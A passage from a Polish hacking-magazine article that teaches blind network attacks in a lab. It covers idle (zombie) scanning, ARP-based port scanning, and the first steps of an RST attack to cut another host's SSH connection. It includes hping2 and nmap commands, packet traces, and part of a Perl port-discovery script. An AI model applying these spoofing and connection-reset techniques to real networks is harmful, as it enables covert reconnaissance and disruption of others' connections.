tywne skany dostarczają szybko do-
kładnych wyników w przeciwieństwie 
do  pasywnego  skanowania,  na  któ-
rego  wyniki  należy  czekać  niekiedy 
tygodniami.  Pasywne  skanowanie 
jest  bezpieczniejsze.  Natomiast  ak-
tywne najczęściej ujawnia adres źró-
dłowy skanera.

Klasyczne

skanowanie na ślepo

Skanowanie  na  ślepo  (ang.  blind 
scanning
)  jest  inaczej  zwane  ska-
nowaniem  jałowym  (ang.  idle  scan-
ning
).  Technika  ta  została  zaim-
plementowana  w  programie  nmap 
i  polega  na  wykorzystaniu  trzecie-
go  komputera  do  przeprowadzenia 
skanowania. Komputer, który zosta-
nie  użyty  jako  przykrywka  powinien 

pozostawać  w  stanie  bezczynności 
albo  przynajmniej  natężenie  ruchu 
wychodzącego  nie  powinno  fluktu-
ować.

Zanim przejdziemy do szczegó-

łów,  należy  przeanalizować  zacho-
wanie  stosów  IP  oraz  TCP  w  nie-
których  przypadkach.  Przypuści-
my,  że  posiadamy  skonfigurowa-
ną sieć komputerów składającą się 
z trzech jednostek znajdujących się 
w tej samej sieci. Komputery te ma-
ją adresy 172.16.83.1172.16.83.128 
oraz  172.16.83.129.  Na  pierwszym 
i ostatnim zainstalowany jest system 

Linux, a komputer z końcówką 128 
działa  pod  kontrolą  systemu  Win-
dows Vista.

Naszym  celem  będzie  prze-

rwanie  połączenia  pomiędzy  kom-
puterem  172.16.83.129(A)  a  kom-
puterem  172.16.83.128(B)  dyspo-
nując  komputerem  172.16.83.1(C). 
Nasze  możliwości  ograniczają  się 
do  fałszowania  adresu  źródłowe-
go  wychodzących  pakietów.  Prze-
stawiamy  kartę  sieciową  kompu-
tera  C  w  tryb  promisc,  aby  nie  od-
bierać  wyłącznie  pakietów  z  adre-
sem 172.16.83.1. Pomiędzy kompu-
terami A i B nawiązane jest połącze-
nie SSH (serwer działa na kompute-
rze A).

Obiektem  naszego  zaintereso-

wania  będzie  flaga  ID  protokołu  IP. 
Najpierw należy zaobserwować, jak 
systemy operacyjne ustalają wartość 
pola ID protokołu IP.

Znaczenie  badanych  pól  znaj-

dziemy  w  ramce.  Żeby  dowiedzieć 
się, jak poszczególne systemy usta-
lają wartość pola ID, należy przepro-
wadzić  prosty  eksperyment  polega-
jący  na  wywołaniu  na  komputerze 
C polecenia przedstawionego na Li-
stingu 2.

Przyjrzyjmy się polu ID, które jest 

inkrementowane  o  jeden.  Natomiast 
w systemach linuksowych jest tak, jak 
pokazuje Listing 3.

Pole  ID  jest  ustawione  na  zero. 

Możemy  spróbować  użyć  protoko-

W Sieci

•   http://www.sys-security.com/archive/papers/Network_Scanning_Techniques.pdf 

– opis technik skanowania,

•   http://insecure.org/nmap/man/man-port-scanning-techniques.html – techniki ska-

nowania wykorzystane w programie NMAP,

•   http://freeworld.thc.org/thc-amap – strona domowa skanera AMAP,
•   http://ettercap.sourceforge.net – narzędzie do ataków MITM,
•   http://lcamtuf.coredump.cx/p0f.shtml – najlepsze narzędzie do pasywnego skano-

wania,

•   http://www.faqs.org/rfcs/rfc793.html – dokumentacja opisująca TCP,
•   http://www.osvdb.org/reference/SlippingInTheWindow_v1.0.doc – analiza ataków 

RST,

•   http://www.phrack.org/issues.html?issue=64 – opis wykorzystania IP ID do rozłą-

czania hostów,

•   http://insecure.org/nmap/idlescan.html – opis skanowania ślepego w NMAP,
•   http://packetstormsecurity.org/mag/keen/kv13.txt – artykuł o BARP scanning,
•   http://www.vanheusden.com/Linux/sp – bezpieczeństwo dla paranoików,
•   http://www.microsoft.com/technet/community/columns/cableguy/cg1105.mspx 

– zmiany w nowym stosie TCP/IP Windows.

Tabela 1. 

Początkowy rozmiar okna

System operacyjny

Początkowy rozmiar okna

Windows Vista

8192

Windows 2000 5.00.2195 SP4

64512

Windows XP Home Edition SP1

64240

Windows XP Professional SP2

65535

HP-UX11

32768

Nokia IPSO 3.6-FCS6

16384

Cisco 12.2(8)

16384

Cisco 12.1(5)

16384

Cisco 12.0(7)

16384

Cisco 12.0(8)

16384

Windows 2000 5.00.2195 SP1

16384

Windows 2000 5.00.2195 SP3

16384

Linux 2.4.18

5840

Linux 2.6.22

5840

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

22

łu ICMP. W tym celu dodajemy prze-
łącznik -1 do polecenia 

hping2

. Powin-

niśmy zauważyć, że pola ID zarówno 
systemu Windows, jak i Linux są inkre-
mentowane o jeden. Nie są to, tak jak 
się  mogliśmy  spodziewać,  liczby  zu-
pełnie losowe. Należy przeprowadzić 
dodatkowy eksperyment. Z kompute-
ra  A  wysyłamy  pakiety  ICMP  ECHO 
REQUEST do komputera B i vice ver-
sa, a potem przeprowadzamy ponow-
nie  eksperyment  wysyłając  pakiety 
z komputera C (patrz Listing 4).

Szybki  rzut  oka  na  funkcję 

ip _

select _ ident

  jądra  systemu  Linux 

pozwoli  nam  odkryć  tajemnicę  te-
go zachowania. IP ID w Linuksie jest 
wybierane w sposób losowy i ma in-
ne  wartości  dla  komunikacji  z  po-
szczególnymi  hostami  i  w  obrębie 
poszczególnych  połączeń.  W  mo-
mencie  wybrania  IP  ID  dla  danego 
połączenia,  ID  kolejnych  pakietów 
jest zwiększane o jeden.

Systemy z rodziny Windows prze-

chowują  globalny  licznik  pakietów, 
który jest używany jako wartość po-
la ID w nagłówku IP. Dzięki temu me-
chanizmowi,  można  stwierdzić,  czy 
dany host wysłał pakiet, czy nie. Je-
śli pomiędzy kolejnymi odpowiedzia-
mi  pole  ID  zwiększy  się  wyłącznie 
o jeden, oznacza to, że nasz pakiet nie 
spowodował wysłania odpowiedzi. 

Metoda  skanowania  za  pomo-

cą  tej  techniki  praktycznie  narzu-

ca się sama. Skoro jesteśmy w sta-
nie zbadać, czy dany host wysłał pa-
kiet, czy nie, można to wykorzystać 
do  badania  reakcji  komputera  B  na 
informacje,  które  wyśle  mu  kompu-
ter  A.  Można  więc  zastosować  kla-
syczny  SYN-SCAN  fałszując  adres 
źródłowy.  Zastanawiając  się,  jakie 
informacje może odesłać A, docho-
dzimy do wniosku, że zachodzą dwa 
przypadki:

•   jeżeli skanowany port jest otwar-

ty, komputer odeśle pakiet z usta-
wionymi flagami SYN i ACK. Pa-

kiet tak sformatowany spowodu-
je odesłanie przez B odpowiedzi 
z ustawioną flagą RST, ponieważ 
B  nie  zażądał  nawiązania  połą-
czenia,

•   jeżeli  skanowany  port  jest  za-

mknięty,  komputer  odeśle  pa-
kiet  z  ustawioną  flagą  RST  lub 
w  ogóle  nic  nie  odeśle,  jeżeli 
komputer jest odpowiednio skon-
figurowany.

W  przypadku  A  jesteśmy  w  stanie 
wykryć  odesłanie  odpowiedzi,  na-
tomiast  w  przypadku  B  jesteśmy 
w stanie wykryć jej brak. Skanowa-
nie będzie więc polegało na wysła-
niu pakietu testującego do B, pakietu 
ze  sfałszowanym  adresem  źródło-
wym  do  A  oraz  ponownie  pakie-
tu testującego. Warto tutaj słowem 
komentarza  opatrzyć  dwie  rzeczy: 
ograniczenia  czasowe  oraz  imple-
mentację  tej  techniki  w  programie 
NMAP.  Biorąc  pod  uwagę  ograni-
czenia  czasowe,  należy  zaważyć, 
że  czas  pomiędzy  dwoma  kolejny-
mi  próbami  nie  może  być  krótszy 
niż RTT pomiędzy A oraz B powięk-
szonym  o  czas  odpowiedzi  B  (tak 
dla  pewności).  Jeżeli  nasze  próby 
będą zbyt częste, dojdzie do prze-
kłamań  w  wynikach,  ponieważ  od-
powiedź  od  A  nie  zdąży  spowodo-
wać odesłania odpowiedzi przez B. 
Możliwa  jest  również  optymaliza-

Terminologia

•   Tryb promisc karty sieciowej – cytując za Wikipedią: Tryb pracy interfejsu sie-

ciowego  (np.  ethernetowej  karty  sieciowej),  polegający  na  odbieraniu  całego 
ruchu docierającego do karty sieciowej, nie tylko skierowanego na adres MAC 
karty sieciowej
.

•   Host zombie – komputer w podsieci skanera wykorzystywany jako przykrywka 

skanowaniu.

•   RFC – z ang. Request for Comment. Cytując z polskiej Wikipedii: Zbiór technicz-

nych oraz organizacyjnych dokumentów mających formę memorandum, związa-
nych z Internetem oraz sieciami komputerowymi. Każdy z nich ma przypisany uni-
kalny numer identyfikacyjny, zwykle używany przy wszelkich odniesieniach. Pu-
blikacją RFC zajmuje się Internet Engineering Task Force. Dokumenty nie mają 
mocy oficjalnej, jednak niektóre z nich zostały później przekształcone w oficjalne 
standardy sieciowe, np. opis większości popularnych protokołów sieciowych zo-
stał pierwotnie opisany właśnie w RFC.

•   Fingerprinting  –  technika  skanowania  pozwalająca  na  odkrycie  wersji  systemu 

operacyjnego, polegająca na badaniu szczególnych cech pakietów przychodzą-
cych od skanowanego komputera.

Tabela 2. 

Porty źródłowe używane przez poszczególne systemy operacyjne

System operacyjny Zaobserwowany port 

źródłowy

Użycie kolejnego portu

Cisco 12.2(8)

11000

Zwiększ o 1

Cisco 12.1(5)

48642

Zwiększ o 512

Cisco 12.0(7)

23106

Zwiększ o 512

Cisco 12.0(8)

11778

Zwiększ o 512

Windows 2000 
5.00.2195 SP4

1038/1060

Zwiększ o 1

Windows 2000 
5.00.2195 SP3

1060

Zwiększ o 1

Windows XP Home 
Edition SP1

1050

Zwiększ o 1

Windows Vista

49158

Zwiększ o 1

Linux 2.4.18

32770

Zwiększ o 1

Linux 2.6.22

32768-61000, 1024-
4999

Zwiększ o 1*

* dla danego adresu docelowego

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

23

cja tej techniki i minimalizacja licz-
by  prób  kierowanych  z  C  do  hosta 
zombie  (czyli  B).  Program  NMAP 
wysyła  nie  jeden,  lecz  N  pakietów 
z  adresem  źródłowym  równym  B 
i docelowym A. Jeżeli żaden z por-
tów nie jest otwarty, to kolejne testy 
IP ID powinny różnić się o N.

Technika  ta  zaimplementowana 

jest w programie NMAP. Aby wyko-
nać  skanowanie  tego  typu,  należy 
na  komputerze  C  wydać  polecenie 
przedstawione na Listingu 5.

Skanowanie portów 

wykorzystujące ARP

Skoro  już  mowa  o  skanowaniu 
ukrytym, nie sposób pominąć ska-
nowania wykorzystującego pakiety 
żądania  ARP.  Technika  ta  również 
polega  na  zaobserwowaniu,  które 
pakiety  wzbudzają  odpowiedź  po 
dotarciu do ofiary, a które nie. Jed-
nym z takich przypadków są pakie-
ty z ustawioną flagą FIN. Wysłanie 
pakietu  z  ustawioną  flagą  FIN  na 
otwarty  port  nie  powinno  spowo-
dować wygenerowania odpowiedzi. 
Jeżeli  port  jest  zamknięty,  kompu-
ter odpowiada pakietem z ustawio-
nymi flagami RST, ACK. 

W  przypadku  systemów  z  Red-

mond  dzieje  się  inaczej,  ponieważ 
nie  ma  znaczenia,  czy  port  jest 
otwarty  czy  zamknięty  –  Windows 
zawsze odpowie na taki pakiet pa-
kietem  z  ustawioną  flagą  RST, 
ACK.  Można  w  celu  skanowania 
wykorzystać  również  klasyczny 
SYN-SCAN,  jeżeli  na  docelowym 
komputerze firewall odrzuca pakie-
ty  SYN  skierowane  do  zamknię-
tych  portów.  Technika  skanowania 
wymaga,  aby  skanowany  kompu-
ter  znajdował  się  w  innej  sieci  niż 
podsieć  skanera.  Skanowanie  jest 
ślepe,  ponieważ  wysyłając  pakiety 
zmieniamy  adres  źródłowy  pakie-
tu  na  adres  komputera  nieistnieją-
cego  lub  aktualnie  niepracującego 
w naszej podsieci. Jeżeli skanowa-
na maszyna odpowie, router łączą-
cy naszą sieć będzie próbował za-
mienić  fałszywy  adres  IP  z  naszej 
podsieci na adres fizyczny przy po-
mocy  protokołu  ARP.  Nie  powinno 
to nastręczać szczególnych proble-

mów, gdyż zapytania ARP wysyła-
ne  są  do  wszystkich  komputerów 
w  podsieci.  Nasłuchując  odpowie-
dzi  ARP,  skanujący  komputer  jest 
w  stanie  określić,  czy  testowany 
port jest otwarty, czy też nie.

Atak RST na 

ustanowione połączenie

A  co,  jeśli  chcemy  dla  zestawione-
go  połączenia  przeprowadzić  atak 
RST (np. podobny do tego, który zo-
stał przedstawiony w hakin9 2/2007 

Listing 1. 

Fragmentacja pakietu o wielkości 5000B

IP

 

(

id

 

2067

offset

 

0

length

 

1500

)

 

172.16

.

83.1

 

>

 

172.16

.

83.129

:

 

ICMP

 

echo

 

request

id

 

49943

seq

 

1

length

 

1480

IP

 

(

id

 

2067

offset

 

1480

length

 

1500

)

 

172.16

.

83.1

 

>

 

172.16

.

83.129

:

 

icmp

IP

 

(

id

 

2067

offset

 

2960

length

 

1500

)

 

172.16

.

83.1

 

>

 

172.16

.

83.129

:

 

icmp

IP

 

(

id

 

2067

offset

 

4440

length

 

588

)

 

172.16

.

83.1

 

>

 

172.16

.

83.129

:

 

icmp

Listing 2. 

Badanie sekwencji IP ID systemu Windows Vista

#hping2 172.16.83.128 -r -c 5

HPING

 

172.16

.

83.128

 

(

eth0

 

172.16

.

83.128

):

 

NO

 

FLAGS

 

are

 

set

40

 

headers

 

+

 

0

 

data

 

bytes

 

len

=

40

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

DF

 

id

=

348

 

sport

=

0

 

flags

=

RA

 

seq

=

0

 

win

=

0

 

rtt

=

0.2

 

ms

 

len

=

40

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

DF

 

id

=+

1

 

sport

=

0

 

flags

=

RA

 

seq

=

1

 

win

=

0

 

rtt

=

0.2

 

ms

 

len

=

40

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

DF

 

id

=+

1

 

sport

=

0

 

flags

=

RA

 

seq

=

2

 

win

=

0

 

rtt

=

0.2

 

ms

 

len

=

40

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

DF

 

id

=+

1

 

sport

=

0

 

flags

=

RA

 

seq

=

3

 

win

=

0

 

rtt

=

0.3

 

ms

 

len

=

40

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

DF

 

id

=+

1

 

sport

=

0

 

flags

=

RA

 

seq

=

4

 

win

=

0

 

rtt

=

0.2

 

ms

 

Listing 3. 

Badanie sekwencji IP ID systemu Linux

#hping2 172.16.83.129 -r -c 5

HPING

 

172.16

.

83.129

 

(

eth0

 

172.16

.

83.129

):

 

NO

 

FLAGS

 

are

 

set

40

 

headers

 

+

 

0

 

data

 

bytes

 

len

=

40

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

DF

 

id

=

0

 

sport

=

0

 

flags

=

RA

 

seq

=

0

 

win

=

0

 

rtt

=

0.5

 

ms

 

len

=

40

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

DF

 

id

=+

0

 

sport

=

0

 

flags

=

RA

 

seq

=

1

 

win

=

0

 

rtt

=

0.1

 

ms

 

len

=

40

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

DF

 

id

=+

0

 

sport

=

0

 

flags

=

RA

 

seq

=

2

 

win

=

0

 

rtt

=

0.1

 

ms

 

len

=

40

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

DF

 

id

=+

0

 

sport

=

0

 

flags

=

RA

 

seq

=

3

 

win

=

0

 

rtt

=

0.1

 

ms

 

len

=

40

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

DF

 

id

=+

0

 

sport

=

0

 

flags

=

RA

 

seq

=

4

 

win

=

0

 

rtt

=

0.2

 

ms

 

Listing 4. 

Wpływ pakietów wysyłanych przez poszczególne hosty na 

używane IP ID

#hping2 172.16.83.128 -1 -r -c 5 

HPING

 

172.16

.

83.128

 

(

eth0

 

172.16

.

83.128

):

 

icmp

 

mode

 

set

28

 

headers

 

+

 

0

 

data

 

bytes

 

len

=

28

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

id

=

1372

 

icmp_seq

=

0

 

rtt

=

0.2

 

ms

 

len

=

28

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

id

=+

3

 

icmp_seq

=

1

 

rtt

=

0.2

 

ms

 

len

=

28

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

id

=+

3

 

icmp_seq

=

2

 

rtt

=

0.3

 

ms

 

len

=

28

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

id

=+

3

 

icmp_seq

=

3

 

rtt

=

0.2

 

ms

 

len

=

28

 

ip

=

172.16

.

83.128

 

ttl

=

128

 

id

=+

3

 

icmp_seq

=

4

 

rtt

=

0.3

 

ms

 

hping2

 

172.16

.

83.129

 

-

1

 

-

r

 

-

c

 

5

 

HPING

 

172.16

.

83.129

 

(

eth0

 

172.16

.

83.129

):

 

icmp

 

mode

 

set

28

 

headers

 

+

 

0

 

data

 

bytes

 

len

=

28

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

id

=

6967

 

icmp_seq

=

0

 

rtt

=

0.2

 

ms

 

len

=

28

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

id

=+

1

 

icmp_seq

=

1

 

rtt

=

0.9

 

ms

 

len

=

28

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

id

=+

1

 

icmp_seq

=

2

 

rtt

=

0.1

 

ms

 

len

=

28

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

id

=+

1

 

icmp_seq

=

3

 

rtt

=

0.1

 

ms

 

len

=

28

 

ip

=

172.16

.

83.129

 

ttl

=

64

 

id

=+

1

 

icmp_seq

=

4

 

rtt

=

0.5

 

ms

 

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

24

przez Marcina Ulikowskiego)? Pozo-
staje  jedynie  technika  pasywnego 
nasłuchiwania  interesującego  nas 
ruchu i wstrzyknięcie we właściwym 
momencie odpowiednio sformatowa-
nego  pakietu.  Budowa  protokołów 
TCP oraz IP oraz połączenie techni-
ki aktywnego i pasywnego skanowa-
nia umożliwia częściowe obejście te-
go problemu.

Kolejnym  interesującym  fak-

tem  –  oprócz  analizy  IP  ID  –  bę-
dzie  zachowanie  się  hostów  biorą-
cych udział w konwersacji na dodat-
kowe  niespodziewane  pakiety.  Za-
łóżmy, że ustanowiliśmy połączenie 
SSH  z  komputera  A  do  kompute-
ra B. Po stronie komputera A został 
użyty port 49160 do połączenia się 
z komputerem B na port 22. Wysy-
łając pakiety z komputera C będzie-
my  chcieli  empirycznie  sprawdzić, 
czy komputer A używa portu 49160. 
Czytając RFC nr 793, można się na-
tknąć na interesującą sytuację opi-
saną  na  stronie  34.  Autorzy  RFC 
opisują w niej zachowanie protoko-
łu  TCP  w  przypadku,  gdy  jedna  ze 
stron  zgubiła  połączenie.  W  RFC 
znajdziemy  również  opis  zachowa-
nia  w  innych  interesujących  sytu-
acjach – kiedy host otrzyma pakiet 
należący  do  nieistniejącego  połą-
czania  oraz  kiedy  dostanie  pakiet 
SYN-ACK należący do połączenia.

Zachowanie  w  wyżej  wymie-

nionych  trzech  sytuacjach  można 
opisać  następującym  przykładem: 
komputer C wysyła pakiet z ustawio-
nym adresem źródłowym komputera 
B i adresem docelowym komputera 
A. Port docelowy jest równy porto-
wi  usługi  SSH,  natomiast  port  źró-
dłowy  ustawiony  jest  na  port,  któ-
ry chcemy odkryć (port X). Jedyną 
ustawiona flagą TCP jest SYN. Wy-
słanie  takiego  pakietu  do  B  zgod-
nie  z  RFC  spowoduje  odesłanie
w kierunku źródła pakietu z ustawio-
nymi flagami SYN-ACK jeżeli pakiet 
nie  należał  do  konwersacji  oraz 
ACK przeciwnym przypadku. Po do-
tarciu pakietu do A możliwe są dwie 
sytuacje. Jeśli pakiet należy do kon-
wersacji A-B i zawiera jedynie flagę 
ACK,  nic  nie  jest  odsyłane.  Pakiet 
nienależący do żadnego połączenia 

Interesujące pola IP i TCP

Pole ID protokołu IP wykorzystywane jest przy defragmentacji przychodzących pakie-
tów. Dla każdego wysłanego pakietu posiada unikalną wartość. Jeżeli pakiet zostanie 
sfragmentowany przez pośredniczący router, pole ID pozostanie niezmienione i takie 
samo w obrębie wszystkich fragmentów. W procesie fragmentacji bierze udział rów-
nież adres źródłowy pakietu, pole fragment offset oraz dwa bity - DF i MF pola nastę-
pującego po IP ID. Pierwszy bit – DF – zezwala lub zabrania fragmentacji. Bit MF jest 
ustawiony na 1 dla pierwszego i kolejnych fragmentów pakietu oraz na 0 dla ostatnie-
go fragmentu. Pole fragment offset pozwala określić pozycję danego fragmentu w ory-
ginalnym pakiecie. Pole to ma 13 bitów, co przy maksymalnej wielkości pakietu IP rów-
nej 0xFFFF powoduje, że najmniejszy fragment ma 8 bajtów.

Na przykład dla MTU równego 1500 wysłanie pakietu ICMP ECHO o wielkości 

5000 bajtów (w sumie 5008 po doliczeniu nagłówka ICMP) będzie widziane tak, jak 
na Listingu 1.

Pola TCP SEQ oraz TCP ACK są licznikami. Pierwszy z nich liczy bajty wysłane, 

a drugi potwierdzane. Doprecyzowując, TCP SEQ określa pozycję aktualnie wysyła-
nej paczki danych w całym strumieniu, natomiast druga wartość określa, który bajt po-
chodzący od drugiej strony poprawnie przetworzyliśmy. Wspominając o SEQ i ACK 
nie można pominąć pola Window Size, które określa, ile danych strona ustawiająca tę 
wartość jest w stanie odebrać.

Listing 5. 

Uruchomienie skanera NMAP z opcją Idle Scanning

#nmap -sI 172.16.83.128 172.16.83.129 

WARNING

:

 

Many

 

people

 

use

 

-

P0

 

w

/

Idlescan

 

to

 

prevent

 

pings

 

from

 

their

 

true

 

IP

On

 

the

 

other

 

hand

timing

 

info

 

Nmap

 

gains

 

from

 

pings

 

can

 

allow

 

for

 

faster

more

 

reliable

 

scans

Starting

 

Nmap

 

4.20

 

(

 

http

:

//

insecure

.

org

 

)

 

at

 

2007

-

10

-

01

 

04

:

46

 

CEST

 

Idlescan

 

using

 

zombie

 

172.16

.

83.128

 

(

172.16

.

83.128

:

80

);

 

Class

:

 

Incremental

 

Interesting

 

ports

 

on

 

172.16

.

83.129

:

 

Not

 

shown

:

 

1694

 

closed

|

filtered

 

ports

 

PORT

  

STATE

 

SERVICE

 

22

/

tcp

 

open

 

ssh

 

23

/

tcp

 

open

 

telnet

 

113

/

tcp

 

open

 

auth

 

MAC

 

Address

:

 

00

:

30

:

4F

:

A1

:

65

:

0

A

 

Nmap

 

finished

:

 

1

 

IP

 

address

 

(

1

 

host

 

up

)

 

scanned

 

in

 

16.124

 

seconds

Listing 6. 

Wpływ poprawnych i niepoprawnych pól portów źródłowych 

na wysyłane dane

02

:

02

:

57.810075

 

IP

 

172.16

.

83.128

.

49160

 

>

 

172.16

.

83.129

.

ssh

:

 

S

 

1218938372

:

1218938372

(

0

)

 

win

 

512

 

02

:

02

:

57.810253

 

IP

 

172.16

.

83.129

.

ssh

 

>

 

172.16

.

83.128

.

49160

:

 . 

ack

 

1768219816

 

win

 

4512

 

<

nop

,

nop

,

sack

 

1

 

{

3745685853

:

3745685854

}

>

 

02

:

02

:

59.392821

 

IP

 

172.16

.

83.128

.

49160

 

>

 

172.16

.

83.129

.

ssh

:

 

S

 

605303214

:

605303214

(

0

)

 

win

 

512

02

:

02

:

59.392933

 

IP

 

172.16

.

83.129

.

ssh

 

>

 

172.16

.

83.128

.

49160

:

 . 

ack

 

1

 

win

 

4512

 

<

nop

,

nop

,

sack

 

1

 

{

3132050695

:

3132050696

}

>

 

02

:

03

:

03.406027

 

IP

 

172.16

.

83.128

.

49161

 

>

 

172.16

.

83.129

.

ssh

:

 

S

 

1540719811

:

1540719811

(

0

)

 

win

 

512

 

02

:

03

:

03.406145

 

IP

 

172.16

.

83.129

.

ssh

 

>

 

172.16

.

83.128

.

49161

:

 

S

 

4169466566

:

4169466566

(

0

)

 

ack

 

1540719812

 

win

 

5840

 

<

mss

 

1460

>

 

02

:

03

:

03.406466

 

IP

 

172.16

.

83.128

.

49161

 

>

 

172.16

.

83.129

.

ssh

:

 

R

 

1540719812

:

1540719812

(

0

)

 

win

 

0

 

02

:

03

:

04.314936

 

IP

 

172.16

.

83.128

.

49161

 

>

 

172.16

.

83.129

.

ssh

:

 

S

 

1240411569

:

1240411569

(

0

)

 

win

 

512

 

02

:

03

:

04.315065

 

IP

 

172.16

.

83.129

.

ssh

 

>

 

172.16

.

83.128

.

49161

:

 

S

 

4170366716

:

4170366716

(

0

)

 

ack

 

1240411570

 

win

 

5840

 

<

mss

 

1460

>

 

02

:

03

:

04.315275

 

IP

 

172.16

.

83.128

.

49161

 

>

 

172.16

.

83.129

.

ssh

:

 

R

 

1240411570

:

1240411570

(

0

)

 

win

 

0

 

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

25

powoduje  podjęcie  przez  komputer 
A  próby  zerwania  nieistniejącego 
połączenia A-B pakietem z ustawia-
ną flagą RST.

Przechwytując  ruch  programem 

tcpdump,  powinniśmy  uzyskać  coś 
podobnego do zawartości Listingu 6. 
Znaczenie  poszczególnych  pól  jest 
następujące:

•   czas  IP  adres  źródłowy.port 

–>  adres  docelowy.port:  flagi, 

SEQ _ P:SEQ _ O

(liczba bajtów) [ack 

ACK] rozmiar okna <opcje>,

•   pole 

SEQ _ P:SEQ _ O

 określa, jakie 

są numery sekwencyjne przesy-
łanych bajtów.

Test polegał na wysłaniu czterech pa-
kietów:  dwóch  należących  do  połą-
czenia A-B oraz dwóch, które do nie-
go nie należały.

Prosty program wykrywający port 

użyty przez maszynę A przedstawio-
ny jest na Listingu 7. Przykładowe wy-
wołanie programu ma postać:

./discover _ ports.pl -s 172.16.83.1 -d 
172.16.83.129 -sp 22 -vi 172.16.83.128

Program zwróci w miarę dokładną li-
stę portów źródłowych użytych w ko-
munikacji A-B:

Found ports: 45474 45730 49160 51885

W  celu  przeprowadzenia  udane-
go  ataku  RST  należy  jeszcze  zdo-
być  dodatkową  informację.  A  mia-
nowicie  numery  sekwencyjne  uży-
te dla połączenia przez komputer A 
lub B. Do odkrycia są de facto dwie 
liczby – liczniki bajtów w połączeniu 
serwera  SSH  oraz  klienta.  W  celu 
sprawdzenia jednego z owych liczni-
ków zastosujemy ponownie sztuczkę 
z IP ID. Najpierw należy jednak zro-
zumieć,  do  czego  służą  flagi  ACK 
I SEQ protokołu TCP. 

Załóżmy,  że  host  B  otrzymuje 

pakiet.  Pole  SEQ  tego  pakietu  jest 
licznikiem bajtów komputera A i po-
winno się mieścić w tzw. oknie od-
biorczym  komputera  odbierające-
go  wiadomość  (w  tym  przypad-
ku  A).  Okno  odbiorcze  jest  warto-
ścią ograniczającą liczbę pakietów, 

Listing 7a. 

Program, który odkryje porty używane w komunikacji A-B

#!/usr/bin/perl

use

 

Net

::

Pcap

;

use

 

Net

::

RawIP

;

use

 

NetPacket

::

Ethernet

 

qw

(:

strip

);

use

 

NetPacket

::

ICMP

;

use

 

Getopt

::

Long

 

qw

(

GetOptions

);

use

 

NetPacket

::

IP

;

use

 

FileHandle

;

use

 

threads

;

use

 

threads

::

shared

;

use

 

Time

::

HiRes

;

STDOUT

->

autoflush

(

1

);

my

 $

my_ip

,$

server_ip

,$

server_port

,$

victim_ip

;

my

 $

opt

=

1

;

my

 $

promisc

 

=

 

1

;

my

 $

snaplen

 

=

 

68

;

my

(

$

err

,$

net

,$

mask

,$

dev

,$

filter_t

);

my

 @

probes_array

;

share

 

(

 @

probes_array

 

);

GetOptions

(

 

   

"s=s"

=>

 \$

my_ip

"d=s"

 

=>

 \$

server_ip

"sp=s"

=>

\$

server_port

"vi=s"

=>

\

$

victim_ip

,

   

)

 

or

 

uzycie

();

uzycie

()

 

if

 

not

 $

server_ip

;

my

 $

dev

 

=

 

rdev

(

$

server_ip

);

my

 $

filter

 

=

 

"src host $victim_ip"

;

my

 $

my_id_cnt

=

0

;

my

 $

my_id_prb_cnt

=-

1

;

my

 @

ports_to_scan

 

=

 

(

 

[

0

,

65535

]

 

);

my

 @

found_ports

;

share

(

@

found_ports

);

my

 $

thread

 

=

 

threads

->

create

(

'

start_probing

', 

undef

);

die

 

if

 

(

not

 

defined

 $

thread

);

if

 

(

 

(

Net

::

Pcap

::

lookupnet

(

$

dev

, \$

net

, \$

mask

, \$

err

)

 

)

 

==

 

-

1

 

)

 

{

   

die

 

"Net::Pcap::lookupnet failed. Error was $err"

;

}

my

 $

pcap_t

 

=

 

Net

::

Pcap

::

open_live

(

$

dev

, $

snaplen

, $

promisc

, $

to_ms

, \$

err

);

 

$

pcap_t

 

||

 

die

 

"Can't create packet descriptor. Error was $err"

;

 

if

 

(

 

Net

::

Pcap

::

compile

(

$

pcap_t

, \$

filter_t

, $

filter

, $

opt

, $

net

)

 

==

 

-

1

 

)

 

{

 

   

die

 

"Unable to compile filter string '$filter'

\n

"

;

 

}

 

Net

::

Pcap

::

setfilter

(

$

pcap_t

, $

filter_t

);

 

Net

::

Pcap

::

loop

(

$

pcap_t

-

1

, \

&

callback

, \@

x

);

 

sub

 

start_probing

 

{

 

   

my

 $

rtt_tuned

 

=

 

0.20

;

 

   

my

 $

outcond

=

0

;

 

   

print

 

"RTT autotune. Starting from: $rtt_tuned 

\n

"

;

 

   

while

 

(

$

outcond

==

0

)

 

   

{

 

   

local

 $

i

=

0

;

 

   

for

 

(

$

client_port

=

1

;

$

client_port

<

100

;

$

client_port

++)

{

 

      

send_probe

();

 

      

send_testing_packet

();

 

      

Time

::

HiRes

::

sleep

(

$

rtt_tuned

);

 

   

}

 

   

{

 

      

lock

 

(

@

found_ports

);

 

      

if

 

(

scalar

(

@

found_ports

)>=

5

)

 

      

{

 

         $

rtt_tuned

 

=

 $

rtt_tuned

 

*

 

2

;

 

         $

outcond

 

=

 

1

;

         

last

;

 

      

}

 

      

undef

 @

found_ports

;

 

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

26

które – w analizowanym przypadku 
– może na raz odebrać host A. Po-
le ACK pakietu pochodzącego od B 
określa, który pakiet wysłany z A zo-
stał poprawnie odebrany i przetwo-
rzony. 

Aby to zobrazować, prześledźmy 

przykładową komunikację C z A. Na 
komputerze  C  została  wydana  ko-
menda telnet A. Część wymiany pa-
kietów pokazuje Listing 8., w którym 
dla  uproszczenia  usunięto  niektóre 
dane drukowane przez tcpdump

